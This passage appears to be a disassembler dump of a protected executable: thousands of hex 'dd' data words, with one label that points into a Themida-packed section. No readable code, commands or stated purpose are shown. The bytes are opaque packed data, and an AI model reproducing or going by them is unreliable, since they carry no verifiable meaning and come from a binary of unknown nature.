		dd 56338271h, 0C1013987h, 0EA02FFBAh, 0F061236h, 0F648C2B8h
		dd 821FBF0h, 0ED3C1D53h, 956ED3BCh, 0D62BC075h,	0DB557F0Eh
		dd 74162C20h, 0E909759Eh, 75h, 0D88C6660h, 840F04A8h, 35h
		dd 0B5FF016Ah, 613116Dh, 7C33858Dh, 0D0FF0616h,	28158589h
		dd 0FE8B0613h, 680CEFC1h, 20040000h, 26A006Ah, 0D6857h
		dd 95FF0001h, 6132815h,	32E9h, 0E185C600h, 56061311h, 0C530DF68h
		dd 0E9B5FFA9h, 8D06131Eh, 167C3385h, 89D0FF06h,	13122D85h
		dd 0FD858D06h, 50061329h, 56A206Ah, 2D95FF56h, 61061312h
		dd 6E0C1C3h, 1DE9h, 0F78FCF00h,	6Fh, 5 dup(0)
		dd 14E90000h, 96000006h, 8AB00E48h, 92B81638h, 8CAE0C3Eh
		dd 93B5153Bh, 7DB00E46h, 480C59B2h, 5AF8486Ah, 4701567Ch
		dd 5CF04167h, 0FB6A757Eh, 16B4719Fh, 0AD8A3168h, 0B471DE38h
		dd 6CE61716h, 3516B472h, 9D0283D0h, 951EEDF6h, 2DA731C8h
		dd 901D6CBDh, 52E2C4h, 5FEED061h, 62F3D5F5h, 0E6775BEAh
		dd 63F3D766h, 89095AEBh, 5DEF42F0h, 41075C7Eh, 94791F0h
		dd 16B49427h, 98A99F34h, 1D2C26B6h, 4FE2A939h, 4C2D6CFDh
		dd 0C589D9FDh, 0CA3F5374h, 0EE8B05DBh, 4496EF44h, 654B6B0Ah
		dd 7C5B78D4h, 9DB48D09h, 0AD375610h, 0B54ECF3Eh, 398A109Dh
		dd 0B3044617h, 4CC6CC9Dh, 0B121C6AFh, 0EA24F418h, 768CA341h
		dd 0B2000000h, 51E06CBDh, 9DB4A420h, 0E1C61910h, 41B4CD5Ch
		dd 109E77C5h, 0B0A80F8Eh, 44CE1642h, 34D7A5C7h,	17FA341h
		dd 0E3000000h, 1670E5C2h, 0DF109DB5h, 922436BEh, 19A9ADBCh
		dd 91222435h, 0CE3F20BFh, 109DB554h, 71F0F81Dh,	7017B4DEh
		dd 4493F84Ah, 0BDDC6D0Ch, 0FF912133h, 9DB5148Eh, 82C64510h
		dd 0F15DD53Eh, 51842362h, 109E63F5h, 0A03E5FBEh, 852527BAh
		dd 0E470BD2Bh, 0D268E0C7h, 9F3C3798h, 22B49655h, 0DB751D2Ch
		dd 2F25B45Eh, 7118A98Fh, 3476CE0h, 4BDA0579h, 183A99F8h
		dd 95BA8BC9h, 0CEFA9622h, 4261005Eh, 9E76B713h,	0D31D8010h
		dd 0AC9E3214h, 0C13AD49Dh, 412ACD9Bh, 0BF75A3h,	0C2C90000h
		dd 633B4FE0h, 5D36AD56h, 0D9FBC5A4h, 5A79C88Ch,	17A8E978h
		dd 88095839h, 90BA0E40h, 1E2A7DC1h, 0D0BB0B4Fh,	180D17Fh
		dd 6AEAD160h, 0AA109676h, 0FACE6BAh, 6CDD1526h,	0A4A97BBh
		dd 134190C2h, 143E8EB4h, 0DEFCC445h, 1296DFCh, 4CCD9CB0h
		dd 9E27C11Dh, 6A0B8A10h, 9FFB6A4Dh, 0D3109E27h,	1C81CE86h
		dd 0A23115D4h, 67F65EEBh, 42684726h, 0B0D160F2h, 56B0B928h
		dd 9BE9B7E5h, 0A78BA341h, 0E4253414h, 51E072C2h, 4C71A830h
		dd 0C5000000h, 0C7E470BDh, 0B51975E8h, 0A3E2109Dh, 4585BBFCh
		dd 29B3D017h, 54398BAh,	8CBE1234h, 54999BDh, 0DA6FA334h
		dd 31CAC8EBh, 82203481h, 0E16DBD28h, 0FC4F7350h, 549CFD4Ch
		dd 9DB554B5h, 0CC3DCD10h, 41EAD0A0h, 178A3h, 0BDDE0000h
		dd 4C8EDF6Bh, 0CE0253F9h, 0D478C9F1h, 5909820Ch, 23634307h
		dd 4C6B483Eh, 0B4A0FA6Bh, 6169109Dh, 0AEEF7ED2h, 978605CFh
		dd 48168EB1h, 0ADE0B002h, 0A8AAF31h, 6BFA9BFAh,	4B6C4B2Ah
		dd 8AAEC01Ah, 0BC04890Ah, 0E8092E2Dh, 0A0C92887h, 3485C711h
		dd 0F7460255h, 0F1D7F796h, 2C5DEC60h, 0A8AA4B0h, 0D41136E9h
		dd 0C91D44B5h, 60D933BDh, 8D2D1FB2h, 16388AB0h,	50398CCEh
		dd 23325301h, 6EFB8E1Fh, 573657E6h, 0F9920006h,	7654F849h
		dd 0A9556E59h, 0BA4BBABh, 1AFC02A4h, 0C71159BDh, 0ADDD410Fh
		dd 185E95Ah, 0A34D0000h, 0F87802BEh, 0D34FF394h, 7DE015B2h
		dd 16168F49h, 0B1126331h, 17824392h, 5396F5AAh,	0BD6E5534h
		dd 89A15313h, 9C832041h, 41E88720h, 5F1BC3BAh, 431487F5h
		dd 74B9A22h, 0A0B6D0B6h, 628DC66h, 7C5F4867h, 0CE1E9016h
		dd 0C2E2CB4h, 80C293B9h, 484E1F2Dh, 308131CAh, 88998456h
		dd 0E36403A4h, 90BCE3F8h, 910D807Bh, 5A0A8B95h,	9B3B5A3Bh
		dd 0EE689DBAh, 0B70A8B95h, 5AE3AA90h, 36572883h, 526636AEh
		dd 59CE5AACh, 74000000h, 0D508BCA3h, 109DB579h,	0A0AE0042h
		dd 70117091h, 4B882253h, 0C916F62h, 0B552CC3Dh,	3386909Dh
		dd 0B6064819h, 90248CD6h, 0CDAC5B36h, 0B42E5F7Ch, 7D909E76h
		dd 0B14AC418h, 4DBEB0C4h, 0C11E647Bh, 630DB24Ch, 0B5072BEFh
		dd 81D082D2h, 0A576100h, 0A00C2B8Bh, 0B2000000h, 0A158DDC2h
		dd 0A87532C0h, 0B9CD1420h, 8DDEEB1Ah, 83C7168Fh, 26B51931h
		dd 0DDFA4B2Ah, 0C7EB67F5h, 786D777h, 3F4A9BBDh,	3F0F9FF2h
		dd 0B99F3F5Eh, 0E4152428h, 0A8B8D63h, 2C3D15A3h, 3FF0982Ah
		dd 8C5FD1A2h, 3B431273h, 66493CCDh, 9223CF6Ch, 1C3B1CBAh
		dd 0BBAAA436h, 0A8B355Fh, 69DA1F28h, 820D482Eh,	84DDD9E3h
		dd 3F5EEE3Fh, 0D9A26DA0h, 0C3071078h, 1AB9D870h, 20A8A638h
		dd 202C7DC1h, 38D13B11h, 0AE0D7970h, 621B943Fh,	3794F90Ah
		dd 0B0495B10h, 0E2233220h, 8C923EBDh, 0A3BC1644h, 96B205BEh
		dd 60F2D8F7h, 0D805FEEh, 109DB491h, 925A3B5Ah, 9671045h
		dd 49CC168Bh, 64F7DBF8h, 67FADCE4h, 52E3C5E5h, 0AFB55534h
		dd 7110B0B6h, 5BB891E0h, 4A757366h, 0E978D668h,	55E620A8h
		dd 62400C9Dh, 805FED40h, 0C5B42E5Fh, 5A7DA0A5h,	0A5C5AF2Bh
		dd 741578A0h, 8AD9FD6Ch, 0CF9EB603h, 72D86C4Eh,	0E4C3A2E3h
		dd 8EDF69BEh, 3226C50Fh, 0B69C4BC0h, 0F9182923h, 4CDDEFh
		dd 22327FA3h, 81D0F213h, 0B90382D3h, 6524B59Bh,	0A9E879D5h
		dd 205C79C8h, 2000000h,	6CBDE5C2h, 413051E0h, 109DB4C5h
		dd 19AB0F8Eh, 0D7E12031h, 594166B3h, 9005A7FEh,	0BD5903CDh
		dd 7254E571h, 0FADC6DDFh, 7052E365h, 0DFE372E0h, 0F330252h
		dd 7FC392C2h, 2D112030h, 0BC9EAF9Bh, 2215242Ah,	81E68956h
		dd 4C6h, 4EE8300h, 31243433h, 34332434h, 89565C24h, 4C681E6h
		dd 81000000h, 4EEh, 24348700h, 240C895Ch, 4EDC68h, 243C8900h
		dd 8904EC83h, 0BBBA2414h, 817C8157h, 0FF2BBACAh, 0ECCA815Ch
		dd 81598A7Fh, 0E9C226F2h, 5AD1897Bh, 39A68h, 24248900h
		dd 4240481h, 5F000000h,	8BA52h,	0FA010000h, 89CB8953h
		dd 8B5A5B1Ah, 8953243Ch, 4C381E3h, 81000000h, 4C3h, 241C8700h
		dd 2434FF5Ch, 4C48159h,	0E9000000h, 0FFFCBD84h,	0FE86E03Eh
		dd 0D3B304C6h, 258EBADCh, 0B8B8295Eh, 616C346h,	0E0FFC503h
		dd 6266A836h, 24B7B1AAh, 3EA7B047h, 3078FD53h, 1D2B7123h
		dd 68579A58h, 42F7B0F1h, 69190B67h, 3ED2FBF5h, 28DA45BDh
		dd 3AD6BEEEh, 494C8AC9h, 0B5919EDh, 43A96C8Ch, 49DFD28Fh
		dd 6D502FA9h, 7A3E1C88h, 4BE6A879h, 281E3531h, 4CC9B09Ch
		dd 39EBh, 2CC00CBh, 2E400CBh, 0CBh, 41EB0000h, 4D885003h
		dd 458E611Ah, 4184350Bh, 6945800h, 2890590Ah, 643A6120h
		dd 5C713522h, 46FA4521h, 4DBD5D3Ah, 48E7510Fh, 37F2A0E5h
		dd 0E872337Dh, 0C0AB3504h, 287E356Dh, 77FC6A4Eh, 2CBB49E7h
		dd 2CEB71EFh, 28E73578h, 40306229h, 2410CE08h, 95FC356Eh
		dd 43EED576h, 7BC353CDh, 0AB9F0AE8h, 3BD910D3h,	21923568h
		dd 47288EDh, 5CF9337Dh,	0A3AF6577h, 2CC78DAEh, 0ADB6356Eh
		dd 2E8C3813h, 81B2A8E3h, 0FB18337Bh, 95706D35h,	2EEA19EFh
		dd 78EB416Eh, 2CC78D3Dh, 0ADB6356Eh, 2E8C3813h,	8EA3A8E3h
		dd 0FB18337Bh, 28996D35h, 28FADD3Ch, 72DC356Eh,	7CF76FADh
		dd 6CBE314Ah, 2888314Ah, 7A8D356Eh, 772610ADh, 0FD46BC77h
		dd 4EFF267Eh, 0E877E6E5h, 287E3B87h, 72AE7D6Eh,	0B482BC28h
		dd 0C09649DBh, 0A36F3002h, 3BEC60E3h, 0C97CF368h, 7EFA267Fh
		dd 0C02C3504h, 283F356Dh, 725C6F4Eh, 2CEB61E7h,	2CC371EFh
		dd 28F33575h, 2E3A672Ch, 0B83E4E99h, 29362873h,	3B1E74F3h
		dd 77EB5D68h, 769D536Bh, 0F6C331EFh, 42C59636h,	2B11646Eh
		dd 8FC356Eh, 0A127F637h, 0A93B1122h, 359B112Ah,	69CF356Eh
		dd 8ACF63Fh, 0C43F36FDh, 5B99AFB5h, 3B85A05Fh, 9D81337Dh
		dd 2E2C2B87h, 0BD16CDE5h, 2EDC1483h, 54D4B0E3h,	0E1723378h
		dd 724BC5CFh, 2896E591h, 287DDD3Fh
		dd 711F356Eh, 64166CADh, 6C4E314Ah, 28FD314Ah, 79B2356Eh
		dd 22A629ADh, 0A592C2CDh, 194788E7h, 2C55337Dh,	0C0C83504h
		dd 28CF356Dh, 77246A4Eh, 2CD749E7h, 2CDD71EFh, 28FC3572h
		dd 8BD6229h, 951287BEh,	0A7FD7078h, 28C9B861h, 95EC356Eh
		dd 2EE00733h, 28F93F87h, 63DB136Eh, 73482342h, 401F62C9h
		dd 60156A9Fh, 0D9EB01EFh, 96AFBF21h, 0E2E6A5Ah,	7D3E2E06h
		dd 28FADDADh, 0B3DE356Eh, 167DEAA8h, 0C9BB430h,	14650EBFh
		dd 0C0B03504h, 28F3356Dh, 773A6A4Eh, 2CD849E7h,	2C5A71EFh
		dd 283F3576h, 0C35C6229h, 0B9E36979h, 28E73087h, 88B3A36Eh
		dd 289300EEh, 2D1188E5h, 0F881337Dh, 294AA8E7h,	0AD16337Dh
		dd 2ED9F126h, 23B2B8E7h, 0D078337Dh, 28FBF96Bh,	6479BC6Eh
		dd 0AB7823AAh, 0ADB62DAEh, 2E89F13Eh, 0C476F55Dh, 0DBE7356Ch
		dd 79F35FC4h, 28F93686h, 0EBA5156Eh, 0C32BC37h,	0C7BB46Ah
		dd 289F206Ah, 0EB9E746Eh, 0BD6C4134h, 2EE030C7h, 0D478ADD0h
		dd 78FC5F6Ah, 287E3686h, 0EB67156Eh, 0CDBBC36h,	0C8BB46Ah
		dd 28E7206Ah, 0EBA3756Eh, 0A5728CCCh, 2EEF3C8Bh, 399FB0A8h
		dd 277C337Dh, 289F33EBh, 942BE6Eh, 0C0E12678h, 28F3356Ah
		dd 0B49E5E30h, 28FC3B87h, 632D1A6Eh, 3912AB86h,	17950675h
		dd 788FB40Ah, 6C6CFAE5h, 72A4314Ah, 789935E5h, 0E677533Ch
		dd 732C0461h, 0A3596D34h, 6C165497h, 7A9F314Ah,	28E72486h
		dd 71DF516Eh, 497D0FD6h, 0ECE1F41Dh, 63D775BBh,	3AD60230h
		dd 239F356Eh, 0E310702Bh, 79B3F8BBh, 4B8BACCBh,	0BF4DCB6Ah
		dd 19F36B02h, 0A318673Eh, 790E3A95h, 72C76F37h,	28A56D36h
		dd 28E4DD3Dh, 73D3356Eh, 74706EADh, 6C7D314Ah, 2864314Ah
		dd 7B7C356Eh, 0FD34CEADh, 47136343h, 2E288E7h, 9D0C337Dh
		dd 2EEA2B87h, 0C0AB3504h, 287E356Dh, 77FC6A4Eh,	2CBB49E7h
		dd 2CEB71EFh, 28E7357Bh, 5F306229h, 0E5C08A75h,	0AD717AE6h
		dd 2E68495Dh, 0C0693504h, 289F356Dh, 760C6B4Eh,	2CC341E7h
		dd 2CD771EFh, 28F9357Bh, 8D3F6328h, 0EEFF5371h,	0F8C0E70Dh
		dd 0C0CE3504h, 28CF356Dh, 71246C4Eh, 2CD779E7h,	2CDD71EFh
		dd 28FC3572h, 3CBD642Fh, 9A6550ADh, 9A999FD1h, 492B0E7h
		dd 288D337Dh, 28F0DD3Fh, 71D9356Eh, 64756CADh, 6CFF314Ah
		dd 2824314Ah, 79DE356Eh, 56C196ADh, 0C1BE9AA6h,	0A5EC8775h
		dd 3BF54CEBh, 79FC5F68h, 287E3686h, 0EB66156Eh,	0CD3BC37h
		dd 0C8BB46Ah, 28E7236Ah, 0EBA2746Eh, 0A128593Ah, 3BE1A8DBh
		dd 0D9FBBC68h, 91392669h, 6C6895Dh, 28C9B061h, 0BDD6356Eh
		dd 2EE027C3h, 3918B0A8h, 42AF337Dh, 2B96636Eh, 83F356Eh
		dd 0A1C1F630h, 0A9CB111Ah, 31E3112Ah, 6EF3356Eh, 0EF78F638h
		dd 55B42090h, 0AB71C00Eh, 283F356Dh, 4911F3EEh,	28CF3F86h
		dd 2AE14F6Eh, 18839E56h, 91671ECAh, 1ACAFF0Fh, 0BDF33E37h
		dd 40392678h, 0F6B10823h, 28CCBE61h, 0A381356Eh, 0CF7B4A4h
		dd 367A3EE5h, 0C0AF3504h, 287E356Dh, 73FC6E4Eh,	2CBB69E7h
		dd 2CEB71EFh, 28E73577h, 0B330662Dh, 0B0B0373Fh, 0C149CA90h
		dd 42782670h, 2BD7626Eh, 89F356Eh, 0A190F631h, 0A9E31112h
		dd 30F7112Ah, 6FF9356Eh, 4F7CF639h, 0A10A61F4h,	3B2CE0D3h
		dd 0DF1E5368h, 0AD4223BFh, 2EF1495Dh, 2702A0E7h, 0F806337Dh
		dd 19F5A0E7h, 0A182337Dh, 3B329CEBh, 7D9F5F68h,	28CF3686h
		dd 0EBBA156Eh, 0C9FBC33h, 0CBDB46Ah, 28FC236Ah,	0EB2B706Eh
		dd 1F841E8h, 3B8E50EBh,	2E463A68h, 0A1E7356Eh, 3BFEF0DBh
		dd 0C97CF368h, 7BFA267Fh, 0C02E3504h, 283F356Dh, 705C6D4Eh
		dd 2CEB71E7h, 2CC371EFh, 28F33573h, 933A652Eh, 66625E13h
		dd 4DE00544h, 59B2BCD9h, 1992646h, 3BCAB4E3h, 0AD55D68h
		dd 1C72D0F9h, 0A71FB44Ah, 0D3775353h, 36978091h, 0ADB2337Dh
		dd 2E89495Dh, 0C09E3504h, 28E7356Dh, 71306C4Eh,	2CDD79E7h
		dd 2CD871EFh, 287E3578h, 62FC642Fh, 0F86009FCh,	2D32886Fh
		dd 0AD6E337Dh, 2EE03C07h, 0A82A8C08h, 391DB0A8h, 4E39337Dh
		dd 0BDB4E2E5h, 2E8C3B2Bh, 28CF3186h, 0F63A9C6Eh, 23A88AD9h
		dd 9DA96689h, 0CB8BE17h, 2871DD6Ah, 6A24356Eh, 6301EBCCh
		dd 0EED9093Bh, 7DD3C082h, 0A3955541h, 4911BFB4h, 0A1FCBE34h
		dd 0A37A112Ah, 28556D99h, 289CDD3Dh, 73EF356Eh,	746E6EADh
		dd 6C72314Ah, 28ED314Ah, 7BBF356Eh, 9D81B1ADh, 2E2C2B87h
		dd 54ACB0E3h, 28A53378h, 28E4DD3Eh, 70D3356Eh, 6C706DADh
		dd 6C7D314Ah, 2867314Ah, 787F356Eh, 50A458ADh, 0D7467FCBh
		dd 7AE75FBEh, 28F33686h, 0EBA3156Eh, 0CA8BC34h,	0C3AB46Ah
		dd 283F2E6Ah, 0EBCD776Eh, 561E2812h, 0D44B2D47h, 28E5B761h
		dd 3910356Eh, 0ABFC356Eh, 3D0B63FAh, 2240B4F3h,	640A76ADh
		dd 4A2D1442h, 28EAB0E7h, 2899337Dh, 28FADD38h, 76DC356Eh
		dd 5CF76BADh, 6CBE314Ah, 2887314Ah, 7E89356Eh, 68CF42ADh
		dd 0AD35176Ch, 2EEA248Fh, 28F8DD29h, 3804356Eh,	2FD7B4B2h
		dd 319F356Eh, 0C443E983h, 0D86D87F5h, 271B6537h, 31F9356Eh
		dd 0F7050A9Bh, 0FC3990B1h, 0EF78EB13h, 0A3F92FFAh, 6C446B94h
		dd 7AB7314Ah, 2700BE08h, 4140535Fh, 0A3A46F68h,	33F83A6Eh
		dd 0C03F356Eh, 289F357Ch, 527EE90Eh, 96429144h,	0EE4F5162h
		dd 0B622C5D4h, 0A39A5550h, 6CF76FA5h, 0AF30314Ah, 289F356Eh
		dd 7ACF5F36h, 28E73686h, 0EBA9156Eh, 0CADBC34h,	0CB8B46Ah
		dd 287E2C6Ah, 0EB6D776Eh, 165D24CCh, 9D30D5D2h,	2EF42B87h
		dd 0A5248261h, 3E8506EBh, 7FFC5F68h, 287E3686h,	0EB60156Eh
		db 31h
dword_5B8EA1	dd 6A0CE3BCh						; Themida_:005D4B51r
		db 0B4h, 8Bh, 0Ch
		dd 28E7216Ah, 0EBA4726Eh, 7544BEA7h, 0D7FA264Ch, 7A7E5FBEh
		dd 283F3686h, 0EBC5156Eh, 0C9BBC34h, 0CA3B46Ah,	28F3236Ah
		dd 0EBAB776Eh, 0C08D1A49h, 287E356Bh, 92E2609Ch, 2B183A4Bh
		dd 27CF356Eh, 0A1B8C6D1h, 3BEA10EBh, 25106568h,	0E3FC356Eh
		dd 2FBAA212h, 63BC549Ah, 120399D6h, 0C94AF330h,	6FE1267Fh
		dd 28F7DD96h, 14A4356Eh, 78AC9FA3h, 784F3A3Ch, 28B03A3Ch
		dd 279F356Eh, 0E1F98B5Fh, 70BD0827h, 6C786D34h,	2F11314Ah
		dd 9AFC356Eh, 0E4C65E29h, 0A3603AFDh, 27CD656Eh, 28CF23E6h
		dd 28F6DC6Eh, 1530356Eh, 0A2369DE4h, 4FA47CACh,	0EF80DC0Ch
		dd 279ECDFBh, 555A8F5Fh, 70951D61h, 2CC371E7h, 19FC673Eh
		dd 27A16D34h, 28FC36E1h, 0FFC13A6Eh, 36D68091h,	28F5337Dh
		dd 28CCDD39h, 77C7356Eh, 547A6AADh, 6C78314Ah, 28E8314Ah
		dd 7F39356Eh, 0A53C25ADh, 2E8C1D33h, 0E3DE8A08h, 54D4B0E3h
		dd 0E3793378h, 2893E591h, 28FFDD3Ch, 725E356Eh,	7CB66FADh
		dd 6C1E314Ah, 28D4314Ah, 7AA5356Eh, 32EFF8ADh, 9C9F1E22h
		dd 0A132BEF1h, 3B6FF4EBh, 28B83A68h, 0D79F356Eh, 78CF5FBEh
		dd 28E73686h, 0EBAB156Eh, 0CBDBC36h, 0CB8B46Ah,	287E206Ah
		dd 0EB6F756Eh, 0A5148E0Ah, 2EDC283Bh, 2B2B0E7h,	2899337Dh
		dd 28FADD3Fh, 71DC356Eh, 64F76CADh, 6CBE314Ah, 288A314Ah
		dd 798E356Eh, 0D494B8ADh, 0C02BB908h, 28F93567h, 0F9E38455h
		dd 438304E6h, 258ABE70h, 7699267Dh, 28A5314Ah, 28E4DD3Bh
		dd 75D3356Eh, 447068ADh, 6C7D314Ah, 286B314Ah, 7D7A356Eh
		dd 0A98C3AADh, 68CA94B4h, 27273F72h, 28F090EAh,	7BF95F6Eh
		dd 28FC3686h, 0EB25156Eh, 0C63BC35h, 0CDBB46Ah,	28CF216Ah
		dd 0EBB4766Eh, 0AD35CDE4h, 2EEA248Fh, 5141BE21h, 0C0782671h
		dd 283F356Ah, 971F59AAh, 0F844533Eh, 2CC371E5h,	28E1DC3Dh
		dd 1A24356Eh, 6BC0E524h, 4FCDED32h, 84FB9BB9h, 0B4F7B7E6h
		dd 27CFBE30h, 28E730E6h, 0D57C8F6Eh, 6C70380Eh,	969A314Ah
		dd 4226E171h, 2BD7666Eh, 89F356Eh, 0A194F635h, 0A9E31132h
		dd 3EF7112Ah, 6BF9356Eh, 0F3F1F63Dh, 2872DCABh,	4FC6356Eh
		dd 4686F0E3h, 7D939B91h, 27873389h, 28F333E4h, 696CBC6Eh
		dd 27FA2665h, 0D71FCAD1h, 3B21DCDBh, 7D9F5F68h,	28CF3686h
		dd 0EBBA156Eh, 0C9FBC33h, 0CBDB46Ah, 28FC2D6Ah,	0EB2B706Eh
		dd 29460D4Eh, 1B1AB89Fh, 48C92312h, 3202A8E7h, 0B5F0337Dh
		dd 2EEA04E3h, 0D02CCA0Fh, 7F388E5h, 0E8BC337Dh,	367F8F4Ah
		dd 0AD461457h, 2EF43F53h, 1956B8E7h, 0AD72337Dh, 2EEF1F3Bh
		dd 0C0293504h, 283F356Dh, 775C6A4Eh, 2CEB49E7h,	2CC371EFh
		dd 28F33577h, 113A6229h, 927EC739h, 0E9E3BE1Ah,	4239267Fh
		dd 2B77656Eh, 8CF356Eh,	0A1BFF636h, 0A9F7112Ah,	3EFD112Ah
		dd 68FC356Eh, 0AE94F63Eh, 2832DC4Eh, 47FE356Eh,	26BB48Eh
		dd 0B4CC8740h, 6B51DEE5h, 0C0AC3504h, 28FC356Dh, 75BD684Eh
		dd 2C1B59E7h, 2CBB71EFh, 28CF3576h, 824602Bh, 56991A34h
		dd 0D4B865h, 0A29C337Dh, 0DFC13AA6h, 0A324BE0Fh, 3B8DB0FBh
		dd 42D4BE68h, 2B0F666Eh, 8F3356Eh, 0A1A2F635h, 0A9F81132h
		dd 3D7A112Ah, 6B3F356Eh, 1A97F63Dh, 28A52EE5h, 28E4DD38h
		dd 76D3356Eh, 5C706BADh, 6C7D314Ah, 2865314Ah, 7E79356Eh
		dd 834E75ADh, 426D6315h, 0CD7206FDh, 0A1F52642h, 3BEFB4D3h
		dd 42240668h, 2B96676Eh, 83F356Eh, 0A1C5F634h, 0A9CB113Ah
		dd 35E3112Ah, 6AF3356Eh, 0DF32F63Ch, 0B5474448h, 0FEB71B9h
		dd 0DE865338h, 0B5166F23h, 2EDC30D7h, 0C0B63504h, 28F3356Dh
		dd 713A6C4Eh, 2CD879E7h, 2C5A71EFh, 283F357Ah, 0CD5C642Fh
		dd 2920E0EEh, 3BEDFCDBh, 0C976F368h, 6FFF267Fh,	0AE1EB408h
		dd 0AB715597h, 283F3568h, 3C12A0E5h, 0A5C0337Dh, 28E7356Fh
		dd 39B5496h, 0A9648802h, 997E115Ah, 0D78B1F0Dh,	3B21DCDBh
		dd 7D9F5F68h, 28CF3686h, 0EBBA156Eh, 0C9FBC33h,	0CBDB46Ah
		dd 28FC2C6Ah, 0EB2B706Eh, 0D89DE128h, 0A3CFFEBDh, 0BD466AA4h
		dd 2EF438EFh, 3A5EB84Dh, 0AD74337Dh, 2EEA495Dh,	0C02E3504h
		dd 283F356Dh, 705C6D4Eh, 2CEB71E7h, 2CC371EFh, 28F33572h
		dd 743A652Eh, 70EE0243h, 6F7E1E08h, 2855E591h, 289CDD3Ch
		dd 72EF356Eh, 7C6E6FADh, 6C72314Ah, 28EE314Ah, 7ABE356Eh
		dd 0D89E0DADh, 618216EFh, 0A199267Bh, 3BCF38EBh, 78E75F68h
		dd 28F33686h, 0EBA1156Eh, 0CB8BC36h, 0C3AB46Ah,	283F2E6Ah
		dd 0EBCF756Eh, 28CBA878h, 5DC1B608h, 79F35F2Eh,	28F93686h
		dd 0EBA5156Eh, 0C32BC37h, 0C7BB46Ah, 289F2D6Ah,	0EB9E746Eh
		dd 197AB0B6h, 0FA725396h, 287255C1h, 0C0AD3504h, 287E356Dh
		dd 71FC6C4Eh, 2CBB79E7h, 2CEB71EFh, 28E73577h, 0CD30642Fh
		dd 289634A1h, 6D711CB5h, 0A378265Fh, 0E986536Eh, 691ABC74h
		dd 27C9266Bh, 0DA0EC4D9h, 42F3356Eh, 2B11646Eh,	8FC356Eh
		dd 0A127F637h, 0A93B1122h, 359B112Ah, 69CF356Eh, 0CD66F63Fh
		dd 8789913Fh, 40813D95h, 0AD714EDBh, 2E68F100h,	20A88E5h
		dd 92CF337Dh, 0D8EFC05h, 42C331E7h, 2B1B646Eh, 8F9356Eh
		dd 0A1A5F637h, 0A97A1122h, 333B112Ah, 699F356Eh, 0F0F4F63Fh
		dd 0BB1B1326h, 0BD0C4251h, 2EEA2483h, 0A532BE08h, 3EBA41F3h
		dd 5DB2BE68h, 0A199265Eh, 3BC67CF3h, 9281A668h,	0A3A35716h
		dd 2893A69Eh, 28FFDD3Ch, 725E356Eh, 7CB66FADh, 6C1E314Ah
		dd 28D5314Ah, 7AA5356Eh, 0B9EC44ADh, 12896009h,	78058261h
		dd 2872BA61h, 0A530356Eh, 289F3568h, 28CFB361h,	2C6E356Eh
		dd 28E3DD4Ah, 9504356Eh, 8A78C8h, 549CBB7h, 5A0838DEh
		dd 0BDAE4B9Dh, 2EDC11EBh, 3D72CA37h, 0A3F5267Dh, 157CBCBEh
		dd 4EFA2664h, 0A38D16D4h, 3B2D38FBh, 0C91AF368h, 7BC9267Fh
		dd 0C0B43504h, 28F3356Dh, 733A6E4Eh, 2CD869E7h,	2C5A71EFh
		dd 283F3574h, 875C662Dh, 0C980D6D5h, 0BD6EA478h, 2EE03B7Fh
		dd 28F93186h, 0AF784A6Eh, 788CBEC4h, 2C1B71E5h,	0EF19E6D7h
		dd 4ECFBE5Ah, 0A119A4D7h, 0A3F7112Ah, 28936DBFh, 28FFDD3Dh
		dd 735E356Eh, 74B66EADh, 6C1E314Ah, 28D2314Ah, 7BA4356Eh
		dd 267545ADh, 9E321FA5h, 4E2DE57Bh, 0D78936D1h,	3B21DCDBh
		dd 7A9F5F68h, 28CF3686h, 0EBBD156Eh, 0CA7BC34h,	0CBDB46Ah
		dd 28FC2D6Ah, 0EB2C776Eh, 0B8E7464Ch, 95021C1Dh, 0D1C92666h
		dd 54D4B0E3h, 27933378h, 28F930EDh, 0D87D536Eh,	95F55FABh
		dd 2E2C2FD3h, 14FCA0Fh,	3BC978DBh, 0BD62BC68h, 42F52670h
		dd 2B11606Eh, 8FC356Eh,	0A123F633h, 0A93B1102h,	359B112Ah
		dd 6DCF356Eh, 435BF63Bh, 0EB9AB631h, 3EA26206h,	232E8C08h
		dd 399FB0A8h, 0A178337Dh, 3B94D4EBh, 28CBDD68h,	3D77356Eh
		dd 0A3FC941Ch, 28F9356Bh, 0EC42EED7h, 2497657Ch, 0EA3F356Eh
		dd 28E1232Ah, 0E620AD7Eh, 0A3CF78F6h, 48F7112Ah, 0A39FE2E5h
		dd 287754B9h, 2877BC61h, 9C5F356Eh, 18018EBCh, 0A1AE5923h
		dd 0A3E3112Ah, 0A4FC6D94h, 28F9356Dh, 0A1028261h, 3B63D8DBh
		dd 0C18ACA68h, 99992670h, 1B4AB880h, 42E12312h,	2B1B626Eh
		dd 8F9356Eh, 0A1A3F631h, 0A97A1112h, 3D3B112Ah,	6F9F356Eh
		dd 66D1F639h, 18C688E7h, 0F80C337Dh, 0A12B8A61h, 3BCE1CEBh
		dd 797E5F68h, 283F3686h, 0EBC6156Eh, 0C83BC37h,	0CA3B46Ah
		dd 28F3286Ah, 0EBA8746Eh, 3BA73795h, 0AACC7A30h, 0ADF9F994h
		dd 2E8C248Fh, 0D6783A3Dh
		dd 0D480B106h, 234C53CBh, 0CCDB4C1h, 14390D7Ah,	9D81C5E4h
		dd 2E2C2B87h, 365E8847h, 0AD42337Dh, 2EF1495Dh,	2E8245D0h
		dd 0A329CA7Dh, 3BDC14FBh, 0A1FBBC68h, 9E392673h, 0C91AF385h
		dd 7FC9267Fh, 0BE805Dh,	0B69B337Dh, 9669893Dh, 46705D7Bh
		dd 0B05A01EFh, 793F8D6Fh, 2899BD61h, 9546356Eh,	2EF41CA7h
		dd 0C146CA37h, 42FF2670h, 2B14676Eh, 87E356Eh, 0A165F634h
		dd 0A99B113Ah, 3FCB112Ah, 6AE7356Eh, 0F43F63Ch,	8347928Bh
		dd 0A5BDDF64h, 3E0206EBh, 793F5F68h, 289F3686h,	0EB96156Eh
		dd 0CABBC37h, 0CB7B46Ah, 28F9206Ah, 0EBAD746Eh,	0A5F55118h
		dd 2E2C35C7h, 0A3F9E591h, 854ABCA5h, 0A1E1265Fh, 3BC7C0F3h
		dd 0C97CF368h, 6BFA267Fh, 0C5A3C4EFh, 2CD7104Ch, 9F356Eh
		dd 7973A51Eh, 78B921D8h, 8C42623Ch, 6C726B37h, 7AAC314Ah
		dd 287E3B87h, 92516F6Eh, 71D07EA6h, 7647027h, 270D38DBh
		dd 0C1C88A5Fh, 70A371C0h, 0A39A35E5h, 0C3ABCA5h, 282BDD6Ah
		dd 0B0E5356Eh, 0F77E937h, 13288A13h, 1D0E36FCh,	56BA06Fh
